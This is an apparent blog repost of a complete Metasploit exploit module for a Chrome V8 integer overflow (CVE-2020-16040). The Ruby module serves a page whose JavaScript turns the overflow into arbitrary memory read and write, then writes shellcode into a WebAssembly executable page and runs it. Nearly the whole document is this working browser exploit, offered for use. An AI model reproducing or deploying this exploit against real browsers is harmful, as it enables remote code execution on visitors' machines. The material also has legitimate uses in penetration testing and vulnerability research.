Tuesday, April 13, 2021

Google Chrome SimplfiedLowering Integer Overflow

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ManualRanking

include Msf::Post::File
include Msf::Exploit::Remote::HttpServer

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Google Chrome versions before 87.0.4280.88 integer overflow during SimplfiedLowering phase',
'Description' => %q{
This module exploits an issue in Google Chrome versions before 87.0.4280.88 (64 bit).
The exploit makes use of a integer overflow in the SimplifiedLowering phase in turbofan.
It is used along with a typer hardening bypass using ArrayPrototypeShift to create a JSArray with a length of -1.
This is abused to gain arbitrary read/write into the isolate region.
Then an ArrayBuffer can be used to achieve absolute arbitrary read/write.
The exploit then uses WebAssembly in order to allocate a region of RWX memory, which is then replaced with the payload shellcode.
The payload is executed within the sandboxed renderer process, the browser must be run with the --no-sandbox option for the payload to work correctly.
},
'License' => MSF_LICENSE,
'Author' => [
'Rajvardhan Agarwal (r4j)', # exploit
],
'References' => [
['CVE', '2020-16040'],
['URL', 'https://chromium-review.googlesource.com/c/v8/v8/+/2557498'],
['URL', 'https://github.com/r4j0x00/exploits/tree/master/CVE-2020-16040'],
['URL', 'https://faraz.faith/2021-01-07-cve-2020-16040-analysis/'],
['URL', 'https://bugs.chromium.org/p/chromium/issues/detail?id=1150649'],
],
'Arch' => [ ARCH_X64 ],
'DefaultTarget' => 0,
'Targets' =>
[
['Linux - Google Chrome 87.0.4280.66 (64 bit)', { 'Platform' => 'linux' }],
['Windows 10 - Google Chrome 87.0.4280.66 (64 bit)', { 'Platform' => 'win' }],
['macOS - Google Chrome 87.0.4280.66 (64 bit)', { 'Platform' => 'osx' }],
],
'DisclosureDate' => '2020-11-19'
)
)
end

def on_request_uri(cli, request)
print_status("Sending #{request.uri} to #{request['User-Agent']}")
shellcode = Rex::Text.to_num(payload.encoded).gsub(/\r\n/, '')
jscript = <<~JS
var wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11])
var wasm_mod = new WebAssembly.Module(wasm_code);
var wasm_instance = new WebAssembly.Instance(wasm_mod);
var wasm_func = wasm_instance.exports.main;

var buf = new ArrayBuffer(8);
var f64_buf = new Float64Array(buf);
var u64_buf = new Uint32Array(buf);
var shellcode = new Uint8Array([#{shellcode}]);
var shellbuf = new ArrayBuffer(shellcode.length);
var dataview = new DataView(shellbuf);

function ftoi(val) {
f64_buf[0] = val;
return BigInt(u64_buf[0]) + (BigInt(u64_buf[1]) << 32n);
}

function itof(val) {
u64_buf[0] = Number(val & 0xffffffffn);
u64_buf[1] = Number(val >> 32n);
return f64_buf[0];
}

function foo(a) {
var y = 0x7fffffff;

if (a == NaN) y = NaN;
if (a) y = -1;

let z = y + 1;
z >>= 31;
z = 0x80000000 - Math.sign(z|1);

if(a) z = 0;

var arr = new Array(0-Math.sign(z));
arr.shift();
var cor = [1.1, 1.2, 1.3];

return [arr, cor];
}

try {
for(var i=0;i<0x3000;++i)
foo(true);

var x = foo(false);
} catch (e) {
location.reload();
}
var arr = x[0];
var cor = x[1];

const idx = 6;
arr[idx+10] = 0x4242;

function addrof(k) {
arr[idx+1] = k;
return ftoi(cor[0]) & 0xffffffffn;
}

function fakeobj(k) {
cor[0] = itof(k);
return arr[idx+1];
}

var float_array_map = ftoi(cor[3]);

var arr2 = [itof(float_array_map), 1.2, 2.3, 3.4];
var fake = fakeobj(addrof(arr2) + 0x20n);

function arbread(addr) {
if (addr % 2n == 0) {
addr += 1n;
}
arr2[1] = itof((2n << 32n) + addr - 8n);
return ftoi(fake[0]);
}

function arbwrite(addr, val) {
if (addr % 2n == 0) {
addr += 1n;
}
arr2[1] = itof((2n << 32n) + addr - 8n);
fake[0] = itof(BigInt(val));
}

function copy_shellcode(addr, shellcode) {
let buf_addr = addrof(shellbuf);
let backing_store_addr = buf_addr + 0x14n;
arbwrite(backing_store_addr, addr);

for (let i = 0; i < shellcode.length; i++) {
dataview.setUint8(i, shellcode[i]);
}
}

var rwx_page_addr = arbread(addrof(wasm_instance) + 0x68n);
copy_shellcode(rwx_page_addr, shellcode);
wasm_func();
JS

html = <<~HTML
<html>
<head>
<script>
#{jscript}
</script>
</head>
<body>
</body>
</html>
HTML
send_response(cli, html, { 'Content-Type' => 'text/html', 'Cache-Control' => 'no-cache, no-store, must-revalidate', 'Pragma' => 'no-cache', 'Expires' => '0' })
end

end
 

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Thanks for everything Templateism - You should have written the code a little more complicated